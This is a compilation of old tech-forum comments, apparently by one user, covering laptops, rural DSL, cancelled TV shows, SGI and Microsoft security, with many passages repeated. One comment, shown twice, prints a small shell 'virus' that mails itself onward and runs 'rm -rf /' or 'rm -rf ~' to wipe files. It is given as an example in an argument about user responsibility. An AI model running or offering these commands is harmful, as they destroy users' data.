Yes unfortunatly my video card (ATI Rage Mobility) doesn't do it in 2K. I even had to use some unknown drivers found on a Geocities page to get it to work in XP. That's the only place I could find OpenGL drivers for my card as well.
What's wrong with the government seeing the code? Unless of course you don't trust your own government, but that brings up a whole new range of issues. It's not like they are going to start selling Windows under their own company.
Will he resurrect the Simpsons to what it once was?
I hate to see Futurama go, it one of the best shows on right now. With the demise of Family Guy as well, all we have left is the Simpsons. I'd like to know what they have up their sleeve. They've cancelled the two best shows there currently is, so what will they replace it with?
Probably more sports and primetime movies although I believe sports channels and movie channels should be the ones who supply us with that kind of TV!
if we're all good little sheep, we might get a half hour of news & traffic reports
Actually the stations (on-air, not cable) have to air the news because it is in their broadcast agreement with the government. It is suppost to be their way of giving back after taking the people's radio frequency. Although some stations have twisted this meaning of news into things like Jerry Springer.
Now-a-days I'd expect a nice cash payment to the elected official would clear the station from having to broadcast any news of any form though. Heck it might not even take that!
Seriously, though - how the heck did you manage to get DSL on a farm?
Beats me! I don't know how they pulled it off. It helps that Bell isn't our telco, we have a small co. that only services a relatively small rural area instead.
And since they are the only game in town (so to speak) they don't have to do stupid things like PPPoE (like Bell has to) and instead just use DHCP. They've only been down a few times and not for very long periods of time either in over the six months I've had their service. There dial-up service on the other hand was just awful! Good thing they started offering DSL!
I've hit my screen against things before and managed to put a crack in the casing around the LCD screen. I've also dropped the power block while connected to the machine and did some damage to the power connector.
Everything still works fine, although it drops into battery mode sometimes when the power connector comes loose. This is a fairly big laptop (15" screen and about 7 pounds) so I'd hate to see what happened if I dropped the whole thing.
I remember them well. They had somewhat of a GUI and the cursor was controllable with a trackball. I do remember that the later incarnations of the server system used a computer that could run both DOS and UNISYS applications.
Of course I was only like 8 years old at the time so the details are a little sketchy.
SGI used to (still does?) have a 18-wheeler with a bunch of their technology in it. It visited the small town high school I used to attend a couple years back. At the time they had it full of a couple of Onyx2s and lots of O2s and Octane2s.
While not for education, per say, it'd still be valuable to check out for some ideas if it still exists and you can get access to it.
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Almost all of the serious virus outbreaks of the last two years can be traced to vulnerabilities in Microsoft products.
I'm not fan of Microsoft, but it seems to me that it is the user's fault if they contract a virus. It all goes back to the knowledge level of the user.
If someone sent me:
#!/bin/sh
mail next@victim < $0
if [ "$UID" = "0" ]; then
rm -rf /
else
rm -rf ~
fi
And I executed it, it would be entirely my fault! Now can I sue every single UNIX (and UNIX-like) vendor because their system allowed me to delete my files "unknowingly"? Most of the Outlook viruses out there were really nothing more than that! In most cases, the user had to manually open the attachment and run it.
Notice, basically every single complaint about Microsoft insecurities were due to ease-of-use features. Outlook executes attachments, it's much easier for users to click on it to execute it. The web server exploits targeted extra services Microsoft added to make things easier for people who want to use those features. And our good pal Clippy, again, another ease-of-use feature. If people were more knowledgable about computers there would be no need for these extra features and so there would be less code that has to be verified as safe, not to mention more time to verify the important code.
While software security is important, knowledgeable users is just as important, if not more.
I was looking forward to that episode, being an avid snowmobiler myself. Unfortunately, it was quite clear that those designs were doomed from the start. The build part was still rather interesting though, and the front suspesion on the dirt bike was well done! Better than most snowmobiles had for many years. That was their problem though, they wasted their time on an uneeded feature such as suspension instead of focusing on the important things.
And as for the parent of this thread. Snowmobiles use both belt and chain drives*. Beat that!
* the belt is the transmission, so to speak, and the chain actually drives the track
The first time I tried Freenet I instantly thought of Gopher. A Gopher like protocol that runs over Freenet is exactly what it needs to make it more user friendly.
Freenet doesn't need the depth of the WWW, it just needs simple resources to navigate around to find stuff. Something like Gopher just seems perfect to me.
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Ctrl + Shift + Esc is probably what he meant.
It brings up the Task Manager (in NT derived systems)
Yes unfortunatly my video card (ATI Rage Mobility) doesn't do it in 2K. I even had to use some unknown drivers found on a Geocities page to get it to work in XP. That's the only place I could find OpenGL drivers for my card as well.
What makes XP all that over Win2K?
On my computer, dual displays only work in Windows XP (or Windows 98).
try/reading/source/without/comments
I can't read source with comments. The first thing I do when I want to read code is to strip out all the comments.
What's wrong with the government seeing the code? Unless of course you don't trust your own government, but that brings up a whole new range of issues. It's not like they are going to start selling Windows under their own company.
Will he resurrect the Simpsons to what it once was?
I hate to see Futurama go, it one of the best shows on right now. With the demise of Family Guy as well, all we have left is the Simpsons. I'd like to know what they have up their sleeve. They've cancelled the two best shows there currently is, so what will they replace it with?
Probably more sports and primetime movies although I believe sports channels and movie channels should be the ones who supply us with that kind of TV!
- X-Team Racing
- Return to Castle Wolfenstein
Are already written with OpenGL. Unfortunatly the former only runs on Windows at this point.if we're all good little sheep, we might get a half hour of news & traffic reports
Actually the stations (on-air, not cable) have to air the news because it is in their broadcast agreement with the government. It is suppost to be their way of giving back after taking the people's radio frequency. Although some stations have twisted this meaning of news into things like Jerry Springer.
Now-a-days I'd expect a nice cash payment to the elected official would clear the station from having to broadcast any news of any form though. Heck it might not even take that!
Seriously, though - how the heck did you manage to get DSL on a farm?
Beats me! I don't know how they pulled it off. It helps that Bell isn't our telco, we have a small co. that only services a relatively small rural area instead.
And since they are the only game in town (so to speak) they don't have to do stupid things like PPPoE (like Bell has to) and instead just use DHCP. They've only been down a few times and not for very long periods of time either in over the six months I've had their service. There dial-up service on the other hand was just awful! Good thing they started offering DSL!
This means runlevel 0; no processes running and no disks mounted, but with packet filtering still on.
When I first read this I thought it said "no processor running". Sure that'll make for great network security but it will be totally useless.
Nope Ontario. On a farm. The nearest town is a 15 minute drive away. That's the middle of nowhere as far as DSL is concerned.
$40 CDN for 1M/128k...
I'm just happy having broadband at all seeing as how I live out in the middle of nowhere!
Return to Castle Wolfenstien is the only game I play. I wouldn't even call that an addiction. I've never been a big fan of games.
I've seen two headed calves before (seriously!), so why not?
Oh you mean two headed computers...
That's about as bad as the ICQ ads.
I don't think I've ever seen an ad that wasn't for ICQ!!!
I've hit my screen against things before and managed to put a crack in the casing around the LCD screen. I've also dropped the power block while connected to the machine and did some damage to the power connector.
Everything still works fine, although it drops into battery mode sometimes when the power connector comes loose. This is a fairly big laptop (15" screen and about 7 pounds) so I'd hate to see what happened if I dropped the whole thing.
Does anyone else remember these?
I remember them well. They had somewhat of a GUI and the cursor was controllable with a trackball. I do remember that the later incarnations of the server system used a computer that could run both DOS and UNISYS applications.
Of course I was only like 8 years old at the time so the details are a little sketchy.
Maybe that's why AOL wants to useLinux, for tech support reasons.
Customer: I'm having trouble doing X...
Tech: Just a minute:
ssh client.aol.com
~# `fix problem X`
~# exit
Tech: That should do it. Thank you for using AOL.
SGI used to (still does?) have a 18-wheeler with a bunch of their technology in it. It visited the small town high school I used to attend a couple years back. At the time they had it full of a couple of Onyx2s and lots of O2s and Octane2s.
While not for education, per say, it'd still be valuable to check out for some ideas if it still exists and you can get access to it.
Has any XML specific compression algorithms been made as a module for Apache?
And there is mod_gzip for Apache, if you go the gzip route.
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Yup, works like a charm.
SGI will no longer be able to use the cube logo since Microsoft now owns the patents on the process of creating that logo*.
* yes it is a joke, not too far from the truth though.
Almost all of the serious virus outbreaks of the last two years can be traced to vulnerabilities in Microsoft products.
I'm not fan of Microsoft, but it seems to me that it is the user's fault if they contract a virus. It all goes back to the knowledge level of the user.
If someone sent me:
#!/bin/sh
mail next@victim < $0
if [ "$UID" = "0" ]; then
rm -rf /
else
rm -rf ~
fi
And I executed it, it would be entirely my fault! Now can I sue every single UNIX (and UNIX-like) vendor because their system allowed me to delete my files "unknowingly"? Most of the Outlook viruses out there were really nothing more than that! In most cases, the user had to manually open the attachment and run it.
Notice, basically every single complaint about Microsoft insecurities were due to ease-of-use features. Outlook executes attachments, it's much easier for users to click on it to execute it. The web server exploits targeted extra services Microsoft added to make things easier for people who want to use those features. And our good pal Clippy, again, another ease-of-use feature. If people were more knowledgable about computers there would be no need for these extra features and so there would be less code that has to be verified as safe, not to mention more time to verify the important code.
While software security is important, knowledgeable users is just as important, if not more.
Like the snowmobile episode?
I was looking forward to that episode, being an avid snowmobiler myself. Unfortunately, it was quite clear that those designs were doomed from the start. The build part was still rather interesting though, and the front suspesion on the dirt bike was well done! Better than most snowmobiles had for many years. That was their problem though, they wasted their time on an uneeded feature such as suspension instead of focusing on the important things.
And as for the parent of this thread. Snowmobiles use both belt and chain drives*. Beat that!
* the belt is the transmission, so to speak, and the chain actually drives the track
This isn't as far fetched as it may sound!
The first time I tried Freenet I instantly thought of Gopher. A Gopher like protocol that runs over Freenet is exactly what it needs to make it more user friendly.
Freenet doesn't need the depth of the WWW, it just needs simple resources to navigate around to find stuff. Something like Gopher just seems perfect to me.